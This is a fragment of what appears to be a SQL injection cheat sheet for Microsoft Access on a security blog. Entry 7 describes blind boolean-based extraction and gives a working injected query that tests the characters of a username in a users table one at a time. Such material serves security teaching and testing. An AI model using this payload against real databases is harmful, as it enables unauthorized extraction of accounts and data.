ffddca76_ess___Milo2012_s_Security_Blog__Prerequisites
[No] 7 [Description] Retrieve the Data in the Column / Row of the Access Table.Uses True or False statement to check if there is a data match. [Commands] SELECT * FROM users WHERE id=1 and 1=IIF((SELECT mid(last(username),1,1) FROM (SELECT TOP 1 username FROM users))=’m’,1,0) [Prerequisites] 
Column and Table Name
SQL Injection for Microsoft Access | Milo2012's Security Blog
Prerequisites